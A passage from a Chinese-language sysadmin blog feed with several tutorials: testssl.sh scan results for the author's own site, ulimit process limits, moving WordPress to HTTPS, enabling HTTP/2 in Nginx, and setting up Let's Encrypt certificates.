DHE-RSA-AES128-SHA256 DHE-RSA-AES128-SHA ECDHE-RSA-AES128-SHA --\u0026gt; Testing server preferences Has server cipher order? yes (OK) Negotiated protocol TLSv1.2 Negotiated cipher ECDHE-RSA-AES128-GCM-SHA256 Cipher order TLSv1: ECDHE-RSA-AES128-SHA ECDHE-RSA-AES256-SHA DHE-RSA-AES128-SHA DHE-RSA-AES256-SHA ECDHE-RSA-DES-CBC3-SHA EDH-RSA-DES-CBC3-SHA AES128-SHA AES256-SHA DES-CBC3-SHA TLSv1.1: ECDHE-RSA-AES128-SHA ECDHE-RSA-AES256-SHA DHE-RSA-AES128-SHA DHE-RSA-AES256-SHA ECDHE-RSA-DES-CBC3-SHA EDH-RSA-DES-CBC3-SHA AES128-SHA AES256-SHA DES-CBC3-SHA TLSv1.2: ECDHE-RSA-AES128-GCM-SHA256 ECDHE-RSA-AES256-GCM-SHA384 DHE-RSA-AES128-GCM-SHA256 DHE-RSA-AES256-GCM-SHA384 ECDHE-RSA-AES128-SHA256 ECDHE-RSA-AES256-SHA384 ECDHE-RSA-AES128-SHA ECDHE-RSA-AES256-SHA DHE-RSA-AES128-SHA256 DHE-RSA-AES128-SHA DHE-RSA-AES256-SHA256 DHE-RSA-AES256-SHA ECDHE-RSA-DES-CBC3-SHA EDH-RSA-DES-CBC3-SHA AES128-GCM-SHA256 AES256-GCM-SHA384 AES128-SHA256 AES256-SHA256 AES128-SHA AES256-SHA DES-CBC3-SHA h2: ECDHE-RSA-AES128-GCM-SHA256 ECDHE-RSA-AES256-GCM-SHA384 DHE-RSA-AES128-GCM-SHA256 DHE-RSA-AES256-GCM-SHA384 ECDHE-RSA-AES128-SHA256 ECDHE-RSA-AES256-SHA384 ECDHE-RSA-AES128-SHA ECDHE-RSA-AES256-SHA DHE-RSA-AES128-SHA256 DHE-RSA-AES128-SHA DHE-RSA-AES256-SHA256 DHE-RSA-AES256-SHA ECDHE-RSA-DES-CBC3-SHA EDH-RSA-DES-CBC3-SHA AES128-GCM-SHA256 AES256-GCM-SHA384 AES128-SHA256 AES256-SHA256 AES128-SHA AES256-SHA DES-CBC3-SHA http/1.1: ECDHE-RSA-AES128-GCM-SHA256 ECDHE-RSA-AES256-GCM-SHA384 DHE-RSA-AES128-GCM-SHA256 DHE-RSA-AES256-GCM-SHA384 ECDHE-RSA-AES128-SHA256 ECDHE-RSA-AES256-SHA384 ECDHE-RSA-AES128-SHA ECDHE-RSA-AES256-SHA DHE-RSA-AES128-SHA256 DHE-RSA-AES128-SHA DHE-RSA-AES256-SHA256 DHE-RSA-AES256-SHA ECDHE-RSA-DES-CBC3-SHA EDH-RSA-DES-CBC3-SHA AES128-GCM-SHA256 AES256-GCM-SHA384 AES128-SHA256 AES256-SHA256 AES128-SHA AES256-SHA DES-CBC3-SHA --\u0026gt; Testing server defaults (Server Hello) TLS server extensions renegotiation info, EC point formats, session ticket, heartbeat Session Tickets RFC 5077 300 seconds Server key size 2048 bit Signature Algorithm SHA256 with RSA Fingerprint / Serial SHA1 CDC977139FF3ECC79F7E6B3ECD751F9F42481330 / 0317B5766AC415983F159B227E35DD16C1BB SHA256 AB052E3C0629FC97F0C8A8CAAA59A6D15586B123472D38EB9CC1764A235E3C0E Common Name (CN) blog.gtwang.org (works w/o SNI) subjectAltName (SAN) blog.gtwang.org gtwang.org Issuer Let's Encrypt Authority X3 (Let's Encrypt from US) EV cert (experimental) no Certificate Expiration \u0026gt;= 60 days (2016-05-15 09:59 --\u0026gt; 2016-08-13 09:59 +0800) # of certificates provided 2 Certificate Revocation List OCSP URI http://ocsp.int-x3.letsencrypt.org/ OCSP stapling not offered TLS timestamp random values, no fingerprinting possible --\u0026gt; Testing HTTP header response @ \"/\" HTTP Status Code 200 OK HTTP clock skew -1 sec from localtime Strict Transport Security -- Public Key Pinning -- Server banner nginx Application banner -- Cookie(s) 1 issued: 1/1 secure, 1/1 HttpOnly Security headers -- Reverse Proxy banner -- --\u0026gt; Testing vulnerabilities Heartbleed (CVE-2014-0160) not vulnerable (OK) (timed out) CCS (CVE-2014-0224) not vulnerable (OK) Secure Renegotiation (CVE-2009-3555) not vulnerable (OK) Secure Client-Initiated Renegotiation not vulnerable (OK) CRIME, TLS (CVE-2012-4929) Local problem: /usr/bin/openssl lacks zlib support BREACH (CVE-2013-3587) NOT ok: uses gzip HTTP compression (only \"/\" tested) POODLE, SSL (CVE-2014-3566) not vulnerable (OK) TLS_FALLBACK_SCSV (RFC 7507), experim. Downgrade attack prevention supported (OK) FREAK (CVE-2015-0204) not vulnerable (OK) (tested with 4/9 ciphers) LOGJAM (CVE-2015-4000), experimental not vulnerable (OK) (tested w/ 2/4 ciphers only!), common primes not checked. BEAST (CVE-2011-3389) TLS1: ECDHE-RSA-DES-CBC3-SHA EDH-RSA-DES-CBC3-SHA DES-CBC3-SHA -- but also supports higher protocols (possible mitigation): TLSv1.1 TLSv1.2 RC4 (CVE-2013-2566, CVE-2015-2808) no RC4 ciphers detected (OK) --\u0026gt; Testing all locally available 115 ciphers against the server, ordered by encryption strength (Your /usr/bin/openssl cannot show DH/ECDH bits) Hexcode Cipher Suite Name (OpenSSL) KeyExch. Encryption Bits ------------------------------------------------------------------------- xc030 ECDHE-RSA-AES256-GCM-SHA384 ECDH AESGCM 256 xc028 ECDHE-RSA-AES256-SHA384 ECDH AES 256 xc014 ECDHE-RSA-AES256-SHA ECDH AES 256 x9f DHE-RSA-AES256-GCM-SHA384 DH AESGCM 256 x6b DHE-RSA-AES256-SHA256 DH AES 256 x39 DHE-RSA-AES256-SHA DH AES 256 x9d AES256-GCM-SHA384 RSA AESGCM 256 x3d AES256-SHA256 RSA AES 256 x35 AES256-SHA RSA AES 256 xc012 ECDHE-RSA-DES-CBC3-SHA ECDH 3DES 168 x16 EDH-RSA-DES-CBC3-SHA DH 3DES 168 x0a DES-CBC3-SHA RSA 3DES 168 xc02f ECDHE-RSA-AES128-GCM-SHA256 ECDH AESGCM 128 xc027 ECDHE-RSA-AES128-SHA256 ECDH AES 128 xc013 ECDHE-RSA-AES128-SHA ECDH AES 128 x9e DHE-RSA-AES128-GCM-SHA256 DH AESGCM 128 x67 DHE-RSA-AES128-SHA256 DH AES 128 x33 DHE-RSA-AES128-SHA DH AES 128 x9c AES128-GCM-SHA256 RSA AESGCM 128 x3c AES128-SHA256 RSA AES 128 x2f AES128-SHA RSA AES 128 Done now (2016-05-18 07:22) ---\u0026gt; 45.118.135.69:443 (blog.gtwang.org) \u0026lt;--- 除了 testssl.sh 這個工具之外，Qualys 的 SSL Server Test 也是一個可以檢測伺服器 SSL 安全性的工具。如果想要改善伺服器的 TLS/SSL 安全性設定，可以參考 Raymii.org 的文章。\n","permalink":"https://blog.gtwang.org/linux/testssl-sh-tls-ssl-diagnostic-tool/","summary":"\u003cp\u003etestssl.sh 是一個用來檢查伺服器 TLS/SSL 安全性的工具，適用於各種有使用加密的網路服務，例如網頁、郵件或 FTP 伺服器等都可以用它來檢測。\u003c/p\u003e\n\u003cp\u003e伺服器的各種服務加上了 TLS/SSL 之後，可以讓資料以加密的形式在網路上傳輸，確保資料不會被駭客輕易地竊取，不過伺服器的安全性問題並沒有那麼單純，雖然安裝了 TLS/SSL 可以讓伺服器有基本的保護，但後續的設定與維護也非常重要，不當的設定也可能讓伺服器暴露出許多漏洞讓駭客有機可乘。\u003c/p\u003e","title":"testssl.sh 伺服器 TLS/SSL 加密安全性檢測工具，找出網站漏洞預防入侵"},{"content":"這裡介紹如何在 Linux 系統上管控一般使用者可開啟的行程數量上限值，以及更改設定值的方法。\nLinux 系統本身提供了相當豐富的資源控管機制，管理者可以藉由這些功能來精準地將系統資源分配給不同的使用者，並且改善系統的運作效率，而一般的使用者也可以使用這樣的機制來管理程式使用的系統資源。\n一般使用者 Linux 系統上的使用者若要限制自己程式可開啟的行程數量，可以使用 ulimit 指令，它是 shell 中用來管控系統資源的指令，在更改設定之前，我們可以先查詢一下目前使用者可開啟的行程數量上限：\nulimit -u 31368 這個輸出表示最大可開啟的行程數量為 31368 個，這個數值可以直接使用 ulimit 來更改：\nulimit -u 2048 ulimit -u 2048 對於一般使用者而言，使用 ulimit 所設定的限制條件有一定的範圍，它只對所在的 shell 行程以及該 shell 所衍生的子行程有效，該使用者其他的 shell 行程不會受影響，也不會影像系統上其他的行程。\n雖然 ulimit 的限制條件在不同的 shell 中是獨立的，但是 ulimit 計算行程數目的方式卻是以整個系統中該使用者所有的行程為準，因此不同的行程之間還是會互相影響，以下我們用一個簡單的範例來解釋。\n假設有一個使用者有兩個不同的程式，分別使用兩個 shell 指令稿包起來，在指令稿的開頭設定程式可開啟的行程數目上限，分開控管兩個不同的程式。第一個程式的指令稿為：\n#!/bin/bash # 這是第一個程式 # 設定可以開啟的行程數目上限為 512 ulimit -u 512 # 執行其他指令 ... 而第二個程式的指令稿為：\n#!/bin/bash # 這是第二個程式 # 設定可以開啟的行程數目上限為 2048 ulimit -u 2048 # 執行比較複雜的指令 ... 假設在準備執行這兩個程式時，該使用者在系統上已經執行了 200 個行程，那麼這時候若執行第一個程式的指令稿，則第一個指令稿與其衍生的程式最多只能開啟 312 個行程（也就是 512 扣掉原本系統上的 200），同樣地若這時候執行第二個指令稿，它就可以開啟 1848 個行程。\n請注意 ulimit 是依照整個系統上所有該使用者的行程來計算的，假如這兩個指令稿各都需要開啟 300 的行程，若同時執行的話就會多出 600 個行程，第一個程式就會超出其 ulimit 所制定的限制，而只有第二個程式可以正常執行。\nLinux 管理者 對於 Linux 系統的管理者來說，控管整個系統資源、防止系統超載也是很重要的事情，而整個系統的 ulimit 設定都寫在 /etc/security/limits.conf 這個設定檔中，以下是一些範例：\n#\u0026lt;domain\u0026gt; \u0026lt;type\u0026gt; \u0026lt;item\u0026gt; \u0026lt;value\u0026gt; @student hard nproc 20 @faculty soft nproc 20 @faculty hard nproc 50 ftp hard nproc 0 第一個 domain 欄位可以放使用者的帳號或群組，第二個 type 欄位可以放 soft（軟性限制條件，可變更）或 hard（硬性限制條件，不可變更），item 則填入 nproc（行程數目），而最後的 value 則是要指定的行程數目上限數值。\n以第一行的設定來說，就是設定 student 群組使用者的可開啟行程數目上限數值為 20，而第四行則是設定 ftp 這個使用者不可以執行任何程式。\n查詢行程的 ulimit 限制 如果要查詢系統上某個執行中程式的可開啟行程數目上限數值，可以執行 /proc/PID/limits 來查詢，其中 PID 就是程式的行程 ID，例如：\ncat /proc/6791/limits Limit Soft Limit Hard Limit Units Max cpu time unlimited unlimited seconds Max file size unlimited unlimited bytes Max data size unlimited unlimited bytes Max stack size 8388608 unlimited bytes Max core file size 0 unlimited bytes Max resident set unlimited unlimited bytes Max processes 31368 31368 processes Max open files 65536 65536 files Max locked memory 65536 65536 bytes Max address space unlimited unlimited bytes Max file locks unlimited unlimited locks Max pending signals 31368 31368 signals Max msgqueue size 819200 819200 bytes Max nice priority 0 0 Max realtime priority 0 0 Max realtime timeout unlimited unlimited us 其中的 Max processes 就是可開啟行程的上限數量。\n參考資料 Tecmint Red Hat 鳥哥的 Linux 私房菜 ","permalink":"https://blog.gtwang.org/linux/set-limits-on-user-processes-using-ulimit-in-linux/","summary":"\u003cp\u003e這裡介紹如何在 Linux 系統上管控一般使用者可開啟的行程數量上限值，以及更改設定值的方法。\u003c/p\u003e\n\u003cp\u003eLinux 系統本身提供了相當豐富的資源控管機制，管理者可以藉由這些功能來精準地將系統資源分配給不同的使用者，並且改善系統的運作效率，而一般的使用者也可以使用這樣的機制來管理程式使用的系統資源。\u003c/p\u003e","title":"查詢與設定 Linux 使用者可開啟的行程數量上限值，限制開啟程式的數目"},{"content":"這裡說明如何設定 WordPress 網站改用 HTTPS 安全加密的傳輸協定，不但增加網站安全性，同時也大幅提升網站的效能。\n最新的 HTTP/2 網頁通訊協定標準加上 HTTPS 安全加密連線，可以大幅提昇網站的安全性以及網頁載入速度，我們之前介紹過如何設定 Nginx 使用 Let’s Encrypt 憑證啟用 HTTPS，並且開啟 Nginx 的 HTTP/2 的功能，但是對於既有的 WordPress 網站而言，還需要一些設定工作才能讓整個網站完全符合 HTTPS 與 HTTP/2 的最新標準。\nWordPress 設定 HTTPS 安全加密網址 伺服器在啟用 HTTPS 之後，在 WordPress 網站的設定頁面中將網站的網址改為 https 開頭的加密網址。\n這樣 WordPress 預設就會使用有 HTTPS 安全加密的網址了。\n修正 WordPress 舊網頁內容 雖然 WordPress 的網址設定要更改很簡單，不過這個轉換網址的問題通常沒有那麼單純，最常會遇到的問題就是舊的網頁中會含有一些未加密的內容（例如圖片、外部的 JavaScript 檔等），而 Google Chrome 瀏覽器若遇到這樣的網頁時，原本網址列上的綠色鎖頭就會消失，表示這個網頁含有未加密的內容。\n這時若開啟 Chrome 瀏覽器的 Console 查看，就會看到一些標示為 Mixed Content 的內容，這些內容還是會以舊的 HTTP/1.1 的方式傳輸，沒有受到任何加密保護。\n在修正舊的文章內容之前，強烈建議先將整個 MySQL 資料庫備份起來，避免修正的過程出錯，造成整個網站損毀！\n要修正這些舊的文章內容，建議可以使用 WordPress 的 Search Regex 外掛工具，他可以讓您以精準的正規表示法（regular expression）來修正舊的網頁內容，若不熟悉正規表示法的人也可以使用普通的文字來取代，而且在實際儲存之前，可以先預覽執行結果，這樣可以避免錯誤發生的機率。\nSearch Regex 這個工具提供了「Search」、「Replace」與「Replace \u0026amp; Save」的功能，其中「Search」與「Replace」兩個動作是預覽用的，不會影響資料庫裡面的資料，只有按下「Replace \u0026amp; Save」之後，才會將處理完的資料儲存至資料庫中。\n最簡單的方式就是直接把要取代的字串寫進去，例如若要將自己網站上的圖片都取代為 HTTPS 的加密網址，可以使用類似這樣的寫法，Search pattern 填入：\n\u0026lt;img src=\u0026#34;http://blog.gtwang.org/wp-content/uploads/ 而 Replace pattern 則是將 Search pattern 中的 http 改為 https：\n\u0026lt;img src=\u0026#34;https://blog.gtwang.org/wp-content/uploads/ 不過使用一般文字通常不太好比對比較複雜的狀況，建議可以使用正規表示法會比較快，以下是使用正規表示法一次將所有的圖片轉為 HTTPS 加密網址的 Search pattern：\n/src=\u0026#34;http://blog.gtwang.org/wp-content/uploads/(dddd/dd/.*?.(?:png|jpg|gif|tiff))\u0026#34;/ 而 Replace pattern 則為：\nsrc=\u0026#34;https://blog.gtwang.org/wp-content/uploads/$1\u0026#34; 至於超連結，則將 src 改為 href 即可，其餘以此類推。\n通常網頁的內容會有好多種不一樣的 pattern，有些人為了省麻煩會把搜尋與取代的 pattern 寫得過於簡單，例如將 src=\u0026quot;http 取代為 src=\u0026quot;https，但是這樣的做法也非常容易出錯，建議是使用嚴謹一點的 pattern，針對每一種可能個別處理，這樣比較不會出問題。\n另外在 CSS-TRICKS 的文章中有提供另外一種直接使用 MySQL 指令來修正的方法，但是我個人並不喜歡那樣做，因為直接執行 MySQL 的指令的話，沒有辦法預覽，另外該文章中所使用的 pattern 也太簡略了，很容易將非自己網站中的網址都全部更改為 HTTPS 加密的網址，這樣會造成一大堆連結損毀，如果要使用 MySQL 指令處理的人，建議以較複雜一點的 pattern 來處理。\n其他檢查與修正 修正完一般的文章之後，接下來還要檢查網站上還有沒有什麼地方沒有修改到，最簡單的檢查方式就是用瀏覽器打開網頁，然後檢視網頁的原始碼，從原始碼中搜尋類似這樣的未加密網址：\nhttp://blog.gtwang.org/ 通常多少都會找到一些漏網之魚，例如像自訂選單、佈景主題的圖片或是各種外掛程式等都有可能，反正只要找到有未加密的網址，就想辦法把它修正成 HTTPS 加密的網址就對了。\n修正網址時只要修正自己網站的網址就好，如果您發現有一個指向其他網站的未加密網址，建議是不要隨便動它，除非您確定該網站也有提供 HTTPS 加密的網址，否則如果任意更動的話，會讓網址失效！\nWordPress 管理者介面啟用 SSL 加密 設定 WordPress 管理者介面強制使用 HTTPS 安全加密的方法很簡單，只要在 wp-config.php 設定檔中加入這一行即可：\ndefine(\u0026#39;FORCE_SSL_ADMIN\u0026#39;, true); 這樣就可以強制管理者使用 HTTPS 的加密連線了，而通常 WordPress 管理者介面中不太會有外部引入的內容，所以一般來說只要加上這一行就完成了。\n強制使用 HTTPS 網址 當整個網站都確認過可以使用 HTTPS 的加密網址之後，就可以修改網頁伺服器的設定，讓所有的連線都強制導向 HTTPS 安全加密的網址。\n若使用 Nginx 伺服器的話，就將 HTTP 的 80 連接埠導向 HTTPS 的網址：\nserver { listen 80; listen [::]:80; server_name blog.gtwang.org; return 301 https://blog.gtwang.org$request_uri; } 若使用 Apache 伺服器的話，則可以在 .htaccess 設定檔加入：\nRewriteEngine On RewriteCond %{HTTPS} off RewriteRule (.*) https://%{HTTP_HOST}%{REQUEST_URI} [R=301,L] ","permalink":"https://blog.gtwang.org/wordpress/moving-to-https-on-wordpress/","summary":"\u003cp\u003e這裡說明如何設定 WordPress 網站改用 HTTPS 安全加密的傳輸協定，不但增加網站安全性，同時也大幅提升網站的效能。\u003c/p\u003e\n\u003cp\u003e最新的 HTTP/2 網頁通訊協定標準加上 HTTPS 安全加密連線，可以大幅提昇網站的安全性以及網頁載入速度，我們之前介紹過如何\u003ca href=\"/linux/secure-nginx-with-lets-encrypt-ssl-certificate-on-ubuntu-and-debian/\"\u003e設定 Nginx 使用 Let’s Encrypt 憑證啟用 HTTPS\u003c/a\u003e，並且\u003ca href=\"/linux/ubuntu-linux-install-latest-nginx-with-http2-support/\"\u003e開啟 Nginx 的 HTTP/2 的功能\u003c/a\u003e，但是對於既有的 WordPress 網站而言，還需要一些設定工作才能讓整個網站完全符合 HTTPS 與 HTTP/2 的最新標準。\u003c/p\u003e","title":"WordPress 設定 HTTPS 網址，強制使用 SSL 安全加密協定教學"},{"content":"這裡介紹如何在 Ubuntu Linux 上安裝最新版 Nginx 伺服器，讓網站支援 HTTP/2 傳輸協定，加快網頁的載入速度。\nHTTP/2 是繼 1999 年 HTTP/1.1 之後所制定的新 HTTP 傳輸協定標準，其以 Google 的 SPDY 技術為基礎，具有相當優異的傳輸與處理效能，多工（Multiplexing）的新特性可以讓瀏覽器在同時間內對多個伺服器發送請求，並採用更高效率的壓縮技術，大幅縮短網頁傳輸與處理的時間。\nHTTP/2 有多快？ HTTP/2 目前都是配合 HTTPS 安全加密的網頁使用，在處理效能以及資料安全性上都大幅改善，HTTP vs HTTPS Test 這個網頁工具可以讓您實際測試最新的 HTTPS 加上 HTTP/2 技術與傳統 HTTP/1.1 的效能差異，以下是我跑出來的結果。\n使用傳統 HTTP/1.1 的網頁載入時間大約是 12.271 秒。\n而改用 HTTPS 安全加密傳輸以及 HTTP/2 加速的結果，整個網頁的載入只花了 0.881 秒，這個差異相當驚人，以這個數據來說，若要加入網頁的載入，與其去找付費的 CDN，還不如把自己的網站升級成 HTTP/2。\n升級 Nginx 版本 Nginx 網頁伺服器從 Nginx 1.9.5 版開始支援 HTTP/2，如果您的 Linux 發行版本身就已經有收錄 Nginx 1.9.5 以後的版本，就可以直接啟用 HTTP/2 的功能，但是若您的 Linux 發行版比較舊，我們就會需要先將 Nginx 升級成 1.9.5 以後的版本。\n我個人網站的伺服器目前的作業系統是 Ubuntu Linux 14.04，而這個發行版所收錄的 Nginx 只有到 1.4.6 版，所以我需要自行升級 Nginx 的版本，以下是參考 Nginx 官方的文件的升級過程。\n首先加入 Nginx 的 PPA：\nsudo -s add-apt-repository ppa:nginx/stable 接著升級 Nginx：\napt-get update apt-get dist-upgrade 我是直接使用 dist-upgrade 讓它自動升級，不過這樣的升級方式有很大的風險，建議事先在別台機器上測試，再讓正式的伺服器執行，另外也建議再升級之前先備份所有 Nginx 的設定檔。\n在升級過程中，通常會有一些新舊設定檔的衝突問題，安裝程式會一一詢問每一個設定檔的處理方式，這部分會因為自己的設定有些差異，最常發生衝突的應該是 /etc/nginx/nginx.conf 這個檔案，我是讓安裝程式直接將舊的設定檔取代掉，基本上安裝程式不會直接把舊的設定檔刪除，而是將舊的設定檔改名為 nginx.conf.dpkg-old，等安裝完成後，我自己再用 vimdiff 慢慢去比較與修改設定檔。\n當我把 nginx.conf 處理完之後，發現網頁伺服器出了一些問題，所有的靜態網頁都正常，但是 PHP 的網頁都變成空白，後來看了 stackoverflow 網站上的討論，發現是 Nginx 網站設定檔在升級之後，PHP 的設定需要修正：\nlocation ~ .php$ { # ... # 移除舊設定 #include fastcgi_params; # 加入新設定 include fastcgi.conf; } 舊的 Nginx 設定是引入 fastcgi_params，而新的設定則要改成 fastcgi.conf，其餘的設定則不用改變。\n另外我發現新版的 Nginx 的服務在 logrotate 執行之後，沒有重新載入，所有的記錄還是會寫進 access.log.1 與 error.log.1 中，造成這兩個檔案過大，而 access.log 與 error.log 兩個新檔案卻是空的。這個問題可以從 /etc/logrotate.d/nginx 設定檔中修正，將 postrotate 的指令改為：\n/var/log/nginx/*.log { # ... postrotate service nginx rotate \u0026amp;gt;/dev/null 2\u0026amp;gt;\u0026amp;1 endscript } 以我個人的情況而言，這樣設定完之後，Nginx 伺服器就可以正常運作了，但是因為每個網站的設定都會有差異，所以無法保證這樣的方式適用於每一個網站。\nNginx 設定 HTTP/2 在設定 Nginx 的 HTTP/2 之前，請先確認一下 Nginx 伺服器的版本，Nginx 一定要是 1.9.5 以後的版本才能使用 HTTP/2：\nnginx -v nginx version: nginx/1.10.0 只要 Nginx 的版本沒問題，要啟用 HTTP/2 就很簡單了，只要在網站的設定檔加入 http2 的設定，就可以直接使用 HTTP/2 傳輸協定了。\nserver { # 啟用 ssl 與 http2 listen 443 ssl http2; # 同時啟用 IPv6 的 ssl 與 http2 listen [::]:443 ssl http2; } 由於 HTTP/2 一定要與 SSL 安全加密的連線一起使用，所以在啟用 http2 的時候，也要一併啟用 ssl，而關於 Nginx 的 HTTPS 安全加密網頁的設定與 SSL 憑證的申請，可以參考 Nginx 使用 Let’s Encrypt 免費 SSL 憑證的教學。\n如果您在啟用 HTTP/2 的功能之後，網頁出現 ERR_SPDY_INADEQUATE_TRANSPORT_SECURITY 的錯誤訊息，通常是因為 ssl_ciphers 的設定有問題，只要加上適當的 ssl_ciphers 設定，應該就可以解決：\nserver { # ... # Mozilla 建議的 ciphersuites ssl_ciphers \u0026#39;ECDHE-ECDSA-CHACHA20-POLY1305:ECDHE-RSA-CHACHA20-POLY1305:ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES128-GCM-SHA256:ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-RSA-AES256-GCM-SHA384:DHE-RSA-AES128-GCM-SHA256:DHE-RSA-AES256-GCM-SHA384:ECDHE-ECDSA-AES128-SHA256:ECDHE-RSA-AES128-SHA256:ECDHE-ECDSA-AES128-SHA:ECDHE-RSA-AES256-SHA384:ECDHE-RSA-AES128-SHA:ECDHE-ECDSA-AES256-SHA384:ECDHE-ECDSA-AES256-SHA:ECDHE-RSA-AES256-SHA:DHE-RSA-AES128-SHA256:DHE-RSA-AES128-SHA:DHE-RSA-AES256-SHA256:DHE-RSA-AES256-SHA:ECDHE-ECDSA-DES-CBC3-SHA:ECDHE-RSA-DES-CBC3-SHA:EDH-RSA-DES-CBC3-SHA:AES128-GCM-SHA256:AES256-GCM-SHA384:AES128-SHA256:AES256-SHA256:AES128-SHA:AES256-SHA:DES-CBC3-SHA:!DSS\u0026#39;; ssl_prefer_server_ciphers on; } 這裡的 ssl_ciphers 設定是參考 Mozilla SSL Configuration Generator 的建議。\n測試 HTTP/2 網站設定完成後，可以使用 KeyCDN 的 HTTP/2 測試工具來檢查一下自己的網站，看看是否有真的支援 HTTP/2。\n參考資料 Raymii.org ","permalink":"https://blog.gtwang.org/linux/ubuntu-linux-install-latest-nginx-with-http2-support/","summary":"\u003cp\u003e這裡介紹如何在 Ubuntu Linux 上安裝最新版 Nginx 伺服器，讓網站支援 HTTP/2 傳輸協定，加快網頁的載入速度。\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://http2.github.io/\"\u003eHTTP/2\u003c/a\u003e 是繼 1999 年 HTTP/1.1 之後所制定的新 HTTP 傳輸協定標準，其以 Google 的 SPDY 技術為基礎，具有相當優異的傳輸與處理效能，多工（Multiplexing）的新特性可以讓瀏覽器在同時間內對多個伺服器發送請求，並採用更高效率的壓縮技術，大幅縮短網頁傳輸與處理的時間。\u003c/p\u003e","title":"Ubuntu Linux 安裝最新版 NGINX 伺服器，支援 HTTP/2 加速網頁傳輸"},{"content":"本文介紹如何在 nginx 伺服器上使用免費的 Let\u0026rsquo;s Encrypt 憑證，提供 HTTPS 的安全加密網頁。\nLet\u0026rsquo;s Encrypt 是一家新的證書頒發機構（Certificate Authority，簡稱 CA），其提供免費的 TLS/SSL 憑證再配合 Certbot 這個自動化工具，讓一般的網站可以很容易地使用 HTTPS 的安全加密網頁，設定很簡單，憑證的更新也可以自動處理。\n以下我以 Ubuntu Linux 14.04 的系統為例，示範 nginx 伺服器使用 Let\u0026rsquo;s Encrypt 憑證設定 HTTPS 安全加密網頁的方法。\n下載 Let\u0026rsquo;s Encrypt SSL 憑證 Let\u0026rsquo;s Encrypt 的憑證可以透過官方建議的 Certbot 自動化工具來下載，以下是操作步驟。\nStep 1\n從 Certbot 官方網站下載 certbot-auto 指令稿，並設定其執行權限：\nwget https://dl.eff.org/certbot-auto chmod a+x certbot-auto certbot-auto 要放在哪裡都可以，建議一開始就找一個適合的地方放好，例如建立一個 /opt/letsencrypt 目錄，把 certbot-auto 放在這裡：\nmkdir /opt/letsencrypt mv certbot-auto /opt/letsencrypt/ Step 2\n執行 certbot-auto，讓它自動安裝所有相依套件：\n/opt/letsencrypt/certbot-auto 執行 certbot-auto 時，會需要輸入密碼取得 root 權限。\nStep 3\n安裝完成所有需要的系統套件後，接著我們要透過 webroot 的方式，使用既有的 nginx 網頁伺服器來向 Let\u0026rsquo;s Encrypt 取得憑證，而在認證的過程會需要在網頁根目錄中建立一個 .well-known/acme-challenge/ 目錄，讓 Let\u0026rsquo;s Encrypt 的伺服器來讀取其中的內容。\n一般的 nginx 伺服器通常會設定把句點開頭的隱藏檔案都擋掉，遇到這樣的狀況就會無法進行認證，這時候可以再加一小段設定，讓 .well-known/acme-challenge/ 目錄可以被正常讀取：\nlocation ^~ /.well-known/acme-challenge/ { # the usual settings } location ~ /. { deny all; } Step 4\n使用 certonly 功能下載憑證：\n/opt/letsencrypt/certbot-auto certonly --webroot -w /var/www/blog.gtwang.org/ -d blog.gtwang.org -d gtwang.org Step 5\n輸入自己的 Email 信箱。\nStep 6\n閱讀使用條款，選擇「Agree」繼續。\nStep 7\n下載完成後，會出現類似這樣的成功訊息。\nIMPORTANT NOTES: - Congratulations! Your certificate and chain have been saved at /etc/letsencrypt/live/blog.gtwang.org/fullchain.pem. Your cert will expire on 2016-08-13. To obtain a new version of the certificate in the future, simply run Certbot again. - If you like Certbot, please consider supporting our work by: Donating to ISRG / Let's Encrypt: https://letsencrypt.org/donate Donating to EFF: https://eff.org/donate-le 這樣就成功取得 Let\u0026rsquo;s Encrypt 的憑證了，而 nginx 用的憑證就儲存在 /etc/letsencrypt/live/blog.gtwang.org/ 目錄之下，其中 fullchain.pem 就是 nginx 需要憑證，而 privkey.pem 則是需要保護好的私鑰，關於憑證檔案的詳細說明，請參考 Certbot 的說明文件。\nCertbot 還有提供另外一個 standalone 的方式來向 Let’s Encrypt 取得憑證，這種方式是由 Certbot 建立一個獨立的網頁伺服器，提供 Let’s Encrypt 讀取驗證用的資料，不過這樣的做法需要綁定 80 或 443 連接埠，所以通常還會需要暫停既有的網頁伺服器，對於一般的網站而言，會造成網站有幾秒鐘的斷線現象，所以我個人不喜歡這樣的方式。\n接下來要設定 nginx 伺服器，使用這個新憑證來提供 HTTPS 的安全加密網頁。\n設定 nginx 伺服器使用 SSL 憑證 要讓 nginx 啟用 HTTPS 安全加密網頁，只要加上 SSL 相關的幾行設定即可，其餘的設定保持不變，以下是我個人使用的 nginx 伺服器設定：\nserver { # 傾聽 HTTPS 標準埠號 443 listen 443; # 同時啟用 IPv6 的 HTTPS 安全加密網頁 listen [::]:443; server_name blog.gtwang.org; root /var/www/blog.gtwang.org/; index index.php index.html index.htm; # 啟用 SSL ssl on; # 設定 SSL 憑證 ssl_certificate /etc/letsencrypt/live/blog.gtwang.org/fullchain.pem; ssl_certificate_key /etc/letsencrypt/live/blog.gtwang.org/privkey.pem; # 其他 SSL 選項 ssl_session_timeout 5m; ssl_protocols TLSv1 TLSv1.1 TLSv1.2; # omit SSLv3 because of POODLE (CVE-2014-3566) ssl_ciphers \u0026#39;ECDHE-ECDSA-CHACHA20-POLY1305:ECDHE-RSA-CHACHA20-POLY1305:ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES128-GCM-SHA256:ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-RSA-AES256-GCM-SHA384:DHE-RSA-AES128-GCM-SHA256:DHE-RSA-AES256-GCM-SHA384:ECDHE-ECDSA-AES128-SHA256:ECDHE-RSA-AES128-SHA256:ECDHE-ECDSA-AES128-SHA:ECDHE-RSA-AES256-SHA384:ECDHE-RSA-AES128-SHA:ECDHE-ECDSA-AES256-SHA384:ECDHE-ECDSA-AES256-SHA:ECDHE-RSA-AES256-SHA:DHE-RSA-AES128-SHA256:DHE-RSA-AES128-SHA:DHE-RSA-AES256-SHA256:DHE-RSA-AES256-SHA:ECDHE-ECDSA-DES-CBC3-SHA:ECDHE-RSA-DES-CBC3-SHA:EDH-RSA-DES-CBC3-SHA:AES128-GCM-SHA256:AES256-GCM-SHA384:AES128-SHA256:AES256-SHA256:AES128-SHA:AES256-SHA:DES-CBC3-SHA:!DSS\u0026#39;; ssl_prefer_server_ciphers on; # ... } ssl_protocols 的部分記得要把 SSLv3 拿掉，避免 POODLE 攻擊（CVE-2014-3566）。\n如果不想自己寫 Nginx 的設定檔，也可以使用 Mozilla 所提供的 Mozilla 